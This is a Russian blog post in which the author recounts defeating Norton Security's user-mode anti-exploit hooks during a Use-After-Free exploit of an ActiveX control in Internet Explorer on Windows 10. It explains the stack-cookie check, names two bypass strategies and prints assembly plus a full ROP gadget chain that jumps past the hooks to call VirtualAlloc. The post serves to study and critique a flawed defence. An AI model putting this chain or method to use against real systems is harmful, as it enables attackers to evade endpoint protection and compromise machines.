Pull to refresh

Как не надо делать защиту от эксплойтов на примере Norton Security

Reading time 6 min
Views 18K
Зимним вечером придя с работы, захотелось мне проверить работоспособность своей старой лабы (2012 года) на тему эксплуатации Use-After-Free в ActiveX под Internet Explorer . Собственно на новом ноуте у меня была Windows 10, и последний IE со всеми этими вашими isolated heap и тд. И вот я запустил свой сплойт, как вдруг вышел облом от туда, откуда не ждали, на новом ноуте у меня стоял Norton Security, который пафосно детектировал 0day и стопанул:



Вечер обещал быть томным. предыдущий опыт работы с NextGen защитами подсказывал мне, что ребята из Symatec сделали все «дешево и быстро», а значит можно попробовать обойти эту защиту не сильно парясь. В общем, как показала практика, этот подход по защите от сплойтов ОЧЕНЬ типовой и обходится практически универсальным и единым методом. Другими словами, при детальном подходе к эксплойту — один и тот же код будет работать и против Norton Security и против других систем защиты, которые используют такой же механизм обороны (ну и конечно против систем, где защиты нет). Посмотрим же в чем «архитектурная» ошибка выбранного Symantec метода защиты…


Что ж, открыв банку ТУТ МОЖЕТ БЫТЬ ВАША РЕКЛАМА, я решил что одному дебажить это дело будет скучно, я уже примерно делал похожее до этого и знал что могу ожидать, хотя наверняка не знал… Но все же решил заодно протестить возможности «коллективного» угара в твиче, в итоге завел стрим, где я и мои товарищи из Defcon Russia начали «хакать» это дело. В итоге было медленнее, но веселее. Но перейдем к телу.

Запустив эксплойт из лабы несколько раз, подтвердилась моя догадка: Norton ставит ring3 хуки на «критичные» функции. В нашем случае, такая функция оказалась вызвана в ROP шелкоде: VirtualAlloc. ROP шеллкод всего лишь делал текущую страницу памяти исполняемой, собственно для этого он и вызывал VirtualProtect. Хук поставленный Norton дерзко вклинивался в пролог функции (трамплин) и перехватывал управление, где делал некие «магические» проверки. Если все ок, то хук возвращал управление, если же он заподозрил зло, то алерт, исключительная ситуация и мы попались (как на скриншоте). Этот метод защиты, как я писал выше, применяется не только Norton и другими ИБ вендорами, поэтому обсудим разные стратегии обхода:

1) Обмануть логику «магической проверки»
2) Перепрыгнуть хук и проверку

Первая стратегия подразумевает, что мы «знаем» в чем стостоит «магия», что именно проверяется и подсовываем то, что нужно и куда нужно, что бы убедить защиту, что все ОК. В данном случае, ребята из Defcon группы, во время стрима точно мне подсказали, в чем состоит магия — Norton в каждый стек фрейм всовывает «секретную печеньку», cookie. Когда же вызвается VirtualProtect, VirtualAlloc и даже WinExec, хук перехватывает управление и проверяет текущий стек, то есть эту самую куку. Так как во время эксплуатации Use-After-Free наш эксплойт делал так называемый Stack Pivot — смена текущего стек фрейма, на тот, что контролирует атакующий, в нашем случае это страница сгенерированная Heap Spray с ROP, то, конечно, оказывалось что этих кук не было в нашем случае. Отсюда и алерт. Обойти эту проверку можно разными способами:

Стратегия 1: Скопировать ROPом куки из оригинального стека, в новый
Стратегия 2: Скопировать ROP шеллкод в оригинальный стек, и вернуть ESP обратно

Этот метод хорош и прост, но есть один недостаток — он не так универсален, и работает только против конкретно этой проверки. Поэтому я решил тут сконцентрироваться на втором методе.

Второй метод еще проще — нам не надо думать о логике проверок и тд и тп, все что нам надо это «перепрыгнуть» трамплин с хуком, а значит и всю проверку. Недостатки этого метода так же очевидны — на разных ветках ОС, трамплины, а значит хуки будут разными. Я имею ввиду то, что хук на Windows 7 и хук на Windows 10 выглядят по разному (в Win10 имплементация VirtualAlloc уже в kernelbase.dll). Это значит, что в идеале, перед выдачей эксплойта, система (фронт енд) должна определять ОС — Windows 7, Windows 8.1 или Windows 10 и выдавать нужную версию сплойта. Но такой метод универсальнее, так как не важно есть ли Norton или же там есть другой хук — от другого вендора (или даже если хука нет). Так как конкретно в моем случае был Windows 10, то разберем то что было у меня, так вот выглядит хуки на VirtualProtect:



Тут у нас есть указатель VirtualAlloc ведет на враппер в kernel32.dll, там первый хук, а уже второй хук непосредственно в kernelbase.dll. Это значит, что в версии под Win10 надо перепрыгнуть сразу два хука. Мы можем сделать это в ROP: по сути мы читаем указатель на VirtalAlloc из IAT, далее по статическому смещению с этого указателя, читаем уже указатель на VirtualAlloc в kernelbase.dll (это для Win10, в Win7 достаточно первого указателя). После чего добавляем к адресу смещение, что бы перепрыгнуть второй хук, и уже туда передаем вызов. И не забываем заранее подогнать значение EBP так, что бы на момент этого вызова он был равен ESP. По сути нужен следущий код ESI указывает на VirtualAlloc:

       mov eax, [esi + 8]   ; читаем точный указатель на kernelbase.virtualalloc 
       mov eax, [eax]        ; читаем как указатель
       add eax, 5              ; меняем указатель так, что бы перепрыгнуть второй хук (на push ecx) 
       push ebp                ; увеличиваем ESP (выравниваем стек)
       mov ebp, esp          ; заносим в EBP текущий указатель на стек

Но это хорошо для обычного шеллкода (который мы все равно имеем уже после того, как выполним ROP), но пока мы не сделали страницу исполняемой, нам надо сделать те же действия, но в ROP. В общем 3 часа стрима были посвящены именно созданию такой ROP программы и в результате мы получили, что хотели — рабочую версию ROP шеллкода, который вызывал VirtualAlloc стабильно, и не генерировал ошибки и алерта.

Но это не все, после этого мы имеем обычный шеллкод, который запускает некий файл (пусть калькулятор). На момент вызова WinExec или CreateProcess мы так же должно обойти хуки. Сделать это можно таким же методом, но для разнообразия демонстрации, я решил применить уже первую стратегию, и просто обмануть чек переключив ESP на старый, оригинальный фрейм, так как больше мы не нуждаемся в ROP. Отсюда вся стратегия и то, что у нас получилось выглядит так:

1) начало атаки, сразу после stack pivot. Указатель на старый стек фрейм у нас в EDI
2) Сразу сосчитаем занчение EBP, что бы на момент вызова VirtualAlloc он был эквивалентен ESP. Мы можем это посчитать заранее, так как знаем как сдвинется указатель на стек.

>0x5bf2b484 :  # POP EAX # RETN 
>204        :  # offset to EBP
>0x5be63cd8 :  # PUSH ESP # POP EBP # RETN 04 
>0x5bf014a9 :  # XCHG EAX,EBP # RETN
>0x90909090 :  # TRASH
>0x5bf08c87 :  # ADD EAX,EBP # RETN 
>0x5bf014a9 :  # XCHG EAX,EBP # RETN

3) Теперь сосчитаем указатель на VirtuallAlloc в kernelbase, сразу после всех хуков

# EAX = kernelbase.virtalloc + offset_over_the_hook

>0x5bee1907 :  # POP ECX # RETN [npexploitMe.dll] 
>0x5bf32114 :  # ptr to &VirtualAlloc() [IAT npexploitMe.dll]
>0x5bed6fb0 :  # MOV EAX,DWORD PTR DS:[ECX] # RETN [npexploitMe.dll]
>0x5bedba6d :  # ADD EAX,8 # RETN 
>0x5be629f9 :  # MOV EAX,DWORD PTR DS:[EAX] # RETN
>0x5be629f9 :  # MOV EAX,DWORD PTR DS:[EAX] # RETN
>0x5bee809a :  # INC EAX # RETN
>0x5bee809a :  # INC EAX # RETN
>0x5bee809a :  # INC EAX # RETN
>0x5bee809a :  # INC EAX # RETN
>0x5bee809a :  # INC EAX # RETN   

4) Собственно подготовим параметры для VirtualAlloc (VA)

>0x5bf20010  :  # XCHG EAX,ESI # RETN ; save VA in ESI
>0x5be8936f  :  # XOR EAX,EAX # RETN 
>0x5bf08c87  :  # ADD EAX,EBP # RETN  ; EAX=EBP
>0x5bed87dd  :  # MOV EDX,EAX # MOV EAX,ESI # POP ESI # RETN 
                     ; EDX = EBP, pointer to place where we want to store our VA parameters
>0x11223344  :  # trash to esi
>0x5bf20010  :  # XCHG EAX,ESI # RETN ; save VA in ESI
>0x5be98313  :  # MOV EAX,ESI # RETN  
>0x5beecf8e  :  # MOV DWORD PTR DS:[EDX],EAX # MOV EAX,3 # RETN  ; save VA call address (1)
>0x5bec1806  :  # INC EDX # RETN 
>0x5bec1806  :  # INC EDX # RETN 
>0x5bec1806  :  # INC EDX # RETN 
>0x5bec1806  :  # INC EDX # RETN ; DWORD* pointer++
>0x5beecf8e  :  # MOV DWORD PTR DS:[EDX],EAX # MOV EAX,3 # RETN  ; not needed, new EBP (2)
>0x5bec1806  :  # INC EDX # RETN 
>0x5bec1806  :  # INC EDX # RETN 
>0x5bec1806  :  # INC EDX # RETN 
>0x5bec1806  :  # INC EDX # RETN 
>0x5bf2b484  :  # POP EAX # RETN ; put return address after VA call int EAX    
>0x5be63ce2  :  # PUSH ESP # RETN ; this will be executed after VA (goes to EAX right now)
>0x5beecf8e  :  # MOV DWORD PTR DS:[EDX],EAX # MOV EAX,3 # RETN  ; Retuen address (3)
>0x5bec1806  :  # INC EDX # RETN 
>0x5bec1806  :  # INC EDX # RETN 
>0x5bec1806  :  # INC EDX # RETN 
>0x5bec1806  :  # INC EDX # RETN 
>0x5be8936f  :  # XOR EAX,EAX # RETN 
>0x5bf08c87  :  # ADD EAX,EBP # RETN  ; EAX=EBP
>0x5beecf8e  :  # MOV DWORD PTR DS:[EDX],EAX # MOV EAX,3 # RETN ; pointer to page (4)
>0x5bef49e2  :  # INC EBP # RETN
>0x5bef49e2  :  # INC EBP # RETN
>0x5bef49e2  :  # INC EBP # RETN
>0x5bef49e2  :  # INC EBP # RETN ;fixing EBP, so now it is equal to ESP, prologue restored...
>0x5bee809b  :  # RETN 
>0x11111111  :  # This will be overwritten by (1)
>0x22222222  :  # This will be overwritten by (2)
>0x22222222  :  # Retuen address after VA call, will be overwritten by (3)
>0x33333333  :  # First VA parameter - pointer, overwrittem by (4)
>0x00000001  :  # Second VA parameter: size       
>0x00001000  :  # Third VA parameter: AllocationType = MEM_COMMIT            
>0x00000040  :  # Last VA parameter: R_X    

И вместо выводов: использование хуков в ring3, для защиты от эксплойтов или вредоноса — не очень хорошая идея, именно потому что борьба идет «на равных», и атакующий имеет те же возможности и права, но может действовать «не стандартно» используя ROP и обычный shellocde, программируя свою Wierd Machine. В нашем случае, разработчик считает, что вызов функции это вызов по указателю из IAT, и ring3 хук «сойдет» (еще раз добавлю, что не один Norton так делает, даже некоторые хваленные NextGen так обходятся). Конечно, против типовых и стандартных эксплойтов и эта защита сработает и лучше такая, чем ничего. Тем не менее эту защиту можно обойти и притом легко. Сами же методы обхода, довольно универсальны и практичны.

Кроме того ring3 хуки несут множество других проблем, в том числе и ПОМОГАЯ обойти уже существующие защиты.

В конечном счете, ring0 хук был бы лучше, по крайне мере против «стратегии номер 2». За сим все. gg bb hf

UPD: Ссылка на твич: https://www.twitch.tv/defconrussia
К сожалению 6ти часова архивная запись этого действа уже «удалилась», так что канал сейчас пустой, но скоро мы возобновим стримы на разные темы связанные с ИБ, анонсы на сайте и в гугл группе.
Tags:
Hubs:
+71
Comments 26
Comments Comments 26

Articles